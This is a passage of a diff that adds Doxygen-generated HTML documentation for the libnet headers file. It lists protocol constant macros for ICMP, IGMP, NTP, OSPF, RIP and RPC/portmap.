+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>icmp_otime</b>&nbsp;&nbsp;&nbsp;dun.ts.its_otime</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a351" doxytag="libnet-headers.h::icmp_rtime" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>icmp_rtime</b>&nbsp;&nbsp;&nbsp;dun.ts.its_rtime</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a352" doxytag="libnet-headers.h::icmp_ttime" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>icmp_ttime</b>&nbsp;&nbsp;&nbsp;dun.ts.its_ttime</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a353" doxytag="libnet-headers.h::IGMP_MEMBERSHIP_QUERY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IGMP_MEMBERSHIP_QUERY</b>&nbsp;&nbsp;&nbsp;0x11</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a354" doxytag="libnet-headers.h::IGMP_V1_MEMBERSHIP_REPORT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IGMP_V1_MEMBERSHIP_REPORT</b>&nbsp;&nbsp;&nbsp;0x12</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a355" doxytag="libnet-headers.h::IGMP_V2_MEMBERSHIP_REPORT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IGMP_V2_MEMBERSHIP_REPORT</b>&nbsp;&nbsp;&nbsp;0x16</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a356" doxytag="libnet-headers.h::IGMP_LEAVE_GROUP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IGMP_LEAVE_GROUP</b>&nbsp;&nbsp;&nbsp;0x17</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a357" doxytag="libnet-headers.h::IPPROTO_ESP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IPPROTO_ESP</b>&nbsp;&nbsp;&nbsp;50</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a358" doxytag="libnet-headers.h::IPPROTO_AH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IPPROTO_AH</b>&nbsp;&nbsp;&nbsp;51</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a359" doxytag="libnet-headers.h::LIBNET_PROTO_ISL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PROTO_ISL</b>&nbsp;&nbsp;&nbsp;201</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a360" doxytag="libnet-headers.h::IPPROTO_OSPF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IPPROTO_OSPF</b>&nbsp;&nbsp;&nbsp;89</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a361" doxytag="libnet-headers.h::IPPROTO_OSPF_LSA" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IPPROTO_OSPF_LSA</b>&nbsp;&nbsp;&nbsp;890</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a362" doxytag="libnet-headers.h::LIBNET_MODX" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_MODX</b>&nbsp;&nbsp;&nbsp;4102</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a363" doxytag="libnet-headers.h::LIBNET_OPT_EBIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OPT_EBIT</b>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a364" doxytag="libnet-headers.h::LIBNET_OPT_MCBIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OPT_MCBIT</b>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a365" doxytag="libnet-headers.h::LIBNET_OPT_NPBIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OPT_NPBIT</b>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a366" doxytag="libnet-headers.h::LIBNET_OPT_EABIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OPT_EABIT</b>&nbsp;&nbsp;&nbsp;0x10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a367" doxytag="libnet-headers.h::LIBNET_OPT_DCBIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OPT_DCBIT</b>&nbsp;&nbsp;&nbsp;0x20</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a368" doxytag="libnet-headers.h::LIBNET_MPLS_BOS_ON" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_MPLS_BOS_ON</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a369" doxytag="libnet-headers.h::LIBNET_MPLS_BOS_OFF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_MPLS_BOS_OFF</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a370" doxytag="libnet-headers.h::LIBNET_NTP_LI_NW" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_LI_NW</b>&nbsp;&nbsp;&nbsp;0x0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a371" doxytag="libnet-headers.h::LIBNET_NTP_LI_AS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_LI_AS</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a372" doxytag="libnet-headers.h::LIBNET_NTP_LI_DS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_LI_DS</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a373" doxytag="libnet-headers.h::LIBNET_NTP_LI_AC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_LI_AC</b>&nbsp;&nbsp;&nbsp;0x3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a374" doxytag="libnet-headers.h::LIBNET_NTP_VN_2" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_VN_2</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a375" doxytag="libnet-headers.h::LIBNET_NTP_VN_3" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_VN_3</b>&nbsp;&nbsp;&nbsp;0x3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a376" doxytag="libnet-headers.h::LIBNET_NTP_VN_4" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_VN_4</b>&nbsp;&nbsp;&nbsp;0x4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a377" doxytag="libnet-headers.h::LIBNET_NTP_MODE_R" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_R</b>&nbsp;&nbsp;&nbsp;0x0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a378" doxytag="libnet-headers.h::LIBNET_NTP_MODE_A" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_A</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a379" doxytag="libnet-headers.h::LIBNET_NTP_MODE_P" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_P</b>&nbsp;&nbsp;&nbsp;0x2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a380" doxytag="libnet-headers.h::LIBNET_NTP_MODE_C" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_C</b>&nbsp;&nbsp;&nbsp;0x3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a381" doxytag="libnet-headers.h::LIBNET_NTP_MODE_S" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_S</b>&nbsp;&nbsp;&nbsp;0x4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a382" doxytag="libnet-headers.h::LIBNET_NTP_MODE_B" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_B</b>&nbsp;&nbsp;&nbsp;0x5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a383" doxytag="libnet-headers.h::LIBNET_NTP_MODE_RC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_RC</b>&nbsp;&nbsp;&nbsp;0x6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a384" doxytag="libnet-headers.h::LIBNET_NTP_MODE_RP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_MODE_RP</b>&nbsp;&nbsp;&nbsp;0x7</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a385" doxytag="libnet-headers.h::LIBNET_NTP_STRATUM_UNAVAIL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_STRATUM_UNAVAIL</b>&nbsp;&nbsp;&nbsp;0x0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a386" doxytag="libnet-headers.h::LIBNET_NTP_STRATUM_PRIMARY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_STRATUM_PRIMARY</b>&nbsp;&nbsp;&nbsp;0x1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a387" doxytag="libnet-headers.h::LIBNET_NTP_REF_LOCAL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_LOCAL</b>&nbsp;&nbsp;&nbsp;0x4c4f434c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a388" doxytag="libnet-headers.h::LIBNET_NTP_REF_PPS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_PPS</b>&nbsp;&nbsp;&nbsp;0x50505300</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a389" doxytag="libnet-headers.h::LIBNET_NTP_REF_ACTS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_ACTS</b>&nbsp;&nbsp;&nbsp;0x41435453</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a390" doxytag="libnet-headers.h::LIBNET_NTP_REF_USNO" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_USNO</b>&nbsp;&nbsp;&nbsp;0x55534e4f</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a391" doxytag="libnet-headers.h::LIBNET_NTP_REF_PTB" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_PTB</b>&nbsp;&nbsp;&nbsp;0x50544200</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a392" doxytag="libnet-headers.h::LIBNET_NTP_REF_TDF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_TDF</b>&nbsp;&nbsp;&nbsp;0x54444600</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a393" doxytag="libnet-headers.h::LIBNET_NTP_REF_DCF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_DCF</b>&nbsp;&nbsp;&nbsp;0x44434600</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a394" doxytag="libnet-headers.h::LIBNET_NTP_REF_MSF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_MSF</b>&nbsp;&nbsp;&nbsp;0x4d534600</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a395" doxytag="libnet-headers.h::LIBNET_NTP_REF_WWV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_WWV</b>&nbsp;&nbsp;&nbsp;0x57575600</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a396" doxytag="libnet-headers.h::LIBNET_NTP_REF_WWVB" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_WWVB</b>&nbsp;&nbsp;&nbsp;0x57575642</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a397" doxytag="libnet-headers.h::LIBNET_NTP_REF_WWVH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_WWVH</b>&nbsp;&nbsp;&nbsp;0x57575648</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a398" doxytag="libnet-headers.h::LIBNET_NTP_REF_CHU" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_CHU</b>&nbsp;&nbsp;&nbsp;0x43485500</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a399" doxytag="libnet-headers.h::LIBNET_NTP_REF_LORC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_LORC</b>&nbsp;&nbsp;&nbsp;0x4c4f5243</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a400" doxytag="libnet-headers.h::LIBNET_NTP_REF_OMEG" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_OMEG</b>&nbsp;&nbsp;&nbsp;0x4f4d4547</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a401" doxytag="libnet-headers.h::LIBNET_NTP_REF_GPS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_GPS</b>&nbsp;&nbsp;&nbsp;0x47505300</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a402" doxytag="libnet-headers.h::LIBNET_NTP_REF_GOES" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_REF_GOES</b>&nbsp;&nbsp;&nbsp;0x474f4553</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a403" doxytag="libnet-headers.h::OSPFVERSION" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>OSPFVERSION</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a404" doxytag="libnet-headers.h::LIBNET_OSPF_UMD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_UMD</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a405" doxytag="libnet-headers.h::LIBNET_OSPF_HELLO" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_HELLO</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a406" doxytag="libnet-headers.h::LIBNET_OSPF_DBD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_DBD</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a407" doxytag="libnet-headers.h::LIBNET_OSPF_LSR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_LSR</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a408" doxytag="libnet-headers.h::LIBNET_OSPF_LSU" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_LSU</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a409" doxytag="libnet-headers.h::LIBNET_OSPF_LSA" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_LSA</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a410" doxytag="libnet-headers.h::LIBNET_OSPF_AUTH_NULL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_AUTH_NULL</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a411" doxytag="libnet-headers.h::LIBNET_OSPF_AUTH_SIMPLE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_AUTH_SIMPLE</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a412" doxytag="libnet-headers.h::LIBNET_OSPF_AUTH_MD5" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_AUTH_MD5</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a413" doxytag="libnet-headers.h::LIBNET_DBD_IBI" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DBD_IBI</b>&nbsp;&nbsp;&nbsp;0x01</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a414" doxytag="libnet-headers.h::LIBNET_DBD_MBIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DBD_MBIT</b>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a415" doxytag="libnet-headers.h::LIBNET_DBD_MSBIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DBD_MSBIT</b>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a416" doxytag="libnet-headers.h::LIBNET_LS_TYPE_RTR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LS_TYPE_RTR</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a417" doxytag="libnet-headers.h::LIBNET_LS_TYPE_NET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LS_TYPE_NET</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a418" doxytag="libnet-headers.h::LIBNET_LS_TYPE_IP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LS_TYPE_IP</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a419" doxytag="libnet-headers.h::LIBNET_LS_TYPE_ASBR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LS_TYPE_ASBR</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a420" doxytag="libnet-headers.h::LIBNET_LS_TYPE_ASEXT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LS_TYPE_ASEXT</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a421" doxytag="libnet-headers.h::LIBNET_RTR_FLAGS_W" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RTR_FLAGS_W</b>&nbsp;&nbsp;&nbsp;0x0100</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a422" doxytag="libnet-headers.h::LIBNET_RTR_FLAGS_E" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RTR_FLAGS_E</b>&nbsp;&nbsp;&nbsp;0x0200</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a423" doxytag="libnet-headers.h::LIBNET_RTR_FLAGS_B" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RTR_FLAGS_B</b>&nbsp;&nbsp;&nbsp;0x0400</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a424" doxytag="libnet-headers.h::LIBNET_LINK_ID_NBR_ID" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LINK_ID_NBR_ID</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a425" doxytag="libnet-headers.h::LIBNET_LINK_ID_IP_DES" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LINK_ID_IP_DES</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a426" doxytag="libnet-headers.h::LIBNET_LINK_ID_SUB" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LINK_ID_SUB</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a427" doxytag="libnet-headers.h::LIBNET_RTR_TYPE_PTP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RTR_TYPE_PTP</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a428" doxytag="libnet-headers.h::LIBNET_RTR_TYPE_TRANS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RTR_TYPE_TRANS</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a429" doxytag="libnet-headers.h::LIBNET_RTR_TYPE_STUB" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RTR_TYPE_STUB</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a430" doxytag="libnet-headers.h::RTR_TYPE_VRTL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RTR_TYPE_VRTL</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a431" doxytag="libnet-headers.h::LIBNET_AS_E_BIT_ON" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_AS_E_BIT_ON</b>&nbsp;&nbsp;&nbsp;0x80000000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a432" doxytag="libnet-headers.h::RIPCMD_REQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_REQUEST</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a433" doxytag="libnet-headers.h::RIPCMD_RESPONSE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_RESPONSE</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a434" doxytag="libnet-headers.h::RIPCMD_TRACEON" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_TRACEON</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a435" doxytag="libnet-headers.h::RIPCMD_TRACEOFF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_TRACEOFF</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a436" doxytag="libnet-headers.h::RIPCMD_POLL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_POLL</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a437" doxytag="libnet-headers.h::RIPCMD_POLLENTRY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_POLLENTRY</b>&nbsp;&nbsp;&nbsp;6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a438" doxytag="libnet-headers.h::RIPCMD_MAX" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPCMD_MAX</b>&nbsp;&nbsp;&nbsp;7</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a439" doxytag="libnet-headers.h::RIPVER_0" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPVER_0</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a440" doxytag="libnet-headers.h::RIPVER_1" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPVER_1</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a441" doxytag="libnet-headers.h::RIPVER_2" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>RIPVER_2</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a442" doxytag="libnet-headers.h::LIBNET_RPC_CALL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RPC_CALL</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a443" doxytag="libnet-headers.h::LIBNET_RPC_REPLY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RPC_REPLY</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a444" doxytag="libnet-headers.h::LIBNET_RPC_VERS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RPC_VERS</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a445" doxytag="libnet-headers.h::LIBNET_RPC_LAST_FRAG" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_RPC_LAST_FRAG</b>&nbsp;&nbsp;&nbsp;0x80000000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a446" doxytag="libnet-headers.h::LIBNET_PMAP_PROGRAM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROGRAM</b>&nbsp;&nbsp;&nbsp;100000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a447" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_NULL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_NULL</b>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a448" doxytag="libnet-headers.h::LIBNET_PMAP_PROC_SET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PMAP_PROC_SET</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
